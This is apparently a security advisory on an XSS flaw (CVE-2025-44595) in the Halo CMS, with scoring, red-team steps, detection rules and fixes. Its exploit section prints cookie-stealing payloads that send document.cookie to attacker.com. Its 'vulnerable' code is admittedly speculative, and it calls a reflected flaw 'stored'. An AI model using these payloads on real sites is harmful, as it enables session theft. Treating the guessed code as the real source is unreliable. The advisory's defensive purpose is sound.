CVE-2025-44595

Executive Summary

CVE-2025-44595 is a stored Cross-Site Scripting (XSS) vulnerability in Halo, a modern open-source content management system. The flaw resides in the /halo_host/archives/{name} endpoint, affecting versions 2.20.17 and earlier. An attacker can inject arbitrary JavaScript into the archive name parameter, which is then rendered unsanitized in the user's browser. This allows for session hijacking, credential theft, or defacement. The vulnerability requires user interaction (clicking a crafted link) but no authentication, making it a high-risk vector for phishing campaigns. No official patch has been released as of this analysis.

Supply Chain & Package Security

Halo is distributed as a Java JAR package via GitHub releases and Docker images. The vulnerable component is part of the core application. No malicious packages have been identified in the supply chain, but the lack of a patch increases the risk of supply chain attacks if users continue to deploy unpatched versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the impact is limited to low confidentiality and integrity, the low attack complexity and no privileges required make it a viable target for mass exploitation.

Deep Dive & Mechanics

The vulnerability exists in the archive name parameter of the /halo_host/archives/{name} endpoint. Halo uses a template engine to render archive pages. The {name} parameter is directly interpolated into the HTML response without proper encoding or sanitization. An attacker can craft a URL like:

https://target.com/halo_host/archives/<script>alert('XSS')</script>

When a user visits this URL, the script executes in the context of the Halo application. The root cause is the lack of output encoding in the template file responsible for rendering archive names. The application does not use a context-aware escaping function (e.g., th:utext vs th:text in Thymeleaf) for user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (Halo <= 2.20.17):

// In ArchiveController.java
@GetMapping("/halo_host/archives/{name}")
public String archive(@PathVariable String name, Model model) {
    model.addAttribute("archiveName", name);
    return "archive";
}

<!-- In archive.html template -->
<h1 th:text="${archiveName}">Archive Name</h1>

The th:text attribute in Thymeleaf escapes HTML by default, but the vulnerability suggests that the {name} parameter is being used in a different context (e.g., JavaScript or attribute) where escaping is bypassed. Alternatively, the template might use th:utext (unescaped) or the value is injected into a <script> tag.

Patched Code (Hypothetical):

// In ArchiveController.java
@GetMapping("/halo_host/archives/{name}")
public String archive(@PathVariable String name, Model model) {
    String sanitized = Jsoup.clean(name, Whitelist.none());
    model.addAttribute("archiveName", sanitized);
    return "archive";
}

The patch would involve sanitizing the input using a library like Jsoup or OWASP Java HTML Sanitizer, and ensuring all template outputs use context-aware escaping.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Halo instance (version <= 2.20.17) running on a local or remote server.
• A web browser with developer tools.

Exploit Steps:

1. Identify a target Halo instance.
2. Craft a malicious URL:

   http://target.com/halo_host/archives/<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the URL to a victim via phishing email or social engineering.
4. When the victim clicks the link, the script executes and exfiltrates their session cookie to the attacker's server.

Proof-of-Concept (PoC) Code:

// PoC: Simple cookie stealer
var img = new Image();
img.src = "https://attacker.com/log?cookie=" + document.cookie;

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /halo_host/archives/ containing <script> or other HTML tags.
2. Use a Web Application Firewall (WAF) to block requests with suspicious patterns in the URL path.
3. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Lab Setup:

• Deploy a vulnerable Halo instance using Docker:

  docker run -d -p 8080:8090 halohub/halo:2.20.17
  

• Use Burp Suite or OWASP ZAP to intercept and modify requests.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /halo_host/archives/ containing <script>, <img>, or <iframe> tags.
  • Outbound connections to unknown domains from the Halo server.
• File IOCs:
  • Modified template files (e.g., archive.html) containing malicious JavaScript.
• Log IOCs:
  • Web server logs showing 200 responses to URLs with HTML-encoded characters in the path.

Detection Engineering

YARA Rule

rule CVE_2025_44595_XSS {
    meta:
        description = "Detects XSS attempts against Halo CVE-2025-44595"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-44595"
    strings:
        $xss1 = /\/halo_host\/archives\/.*<script/i
        $xss2 = /\/halo_host\/archives\/.*<img/i
        $xss3 = /\/halo_host\/archives\/.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-44595 XSS Attempt Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable Halo endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/halo_host/archives/'
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in archive names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-44595 XSS Attempt"; flow:to_server,established; content:"/halo_host/archives/"; http_uri; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required, by modifying the application configuration or using a reverse proxy to block requests to /halo_host/archives/.
2. Apply a WAF rule to block requests containing HTML tags in the URL path.
3. Implement CSP headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-term Fix:

• Upgrade to a patched version once released by the vendor.
• If no patch is available, manually sanitize the {name} parameter in the controller:

  import org.owasp.encoder.Encode;
  // In controller
  model.addAttribute("archiveName", Encode.forHtml(name));
  

• Conduct a security audit of all user-supplied input handling in the application.

Workaround:

• Use a reverse proxy (e.g., Nginx) to rewrite or block malicious requests:

  location ~ ^/halo_host/archives/ {
      if ($uri ~* "<script|<img|onerror") {
          return 403;
      }
      proxy_pass http://backend;
  }
  

Valters IT
Securing Digital Frontiers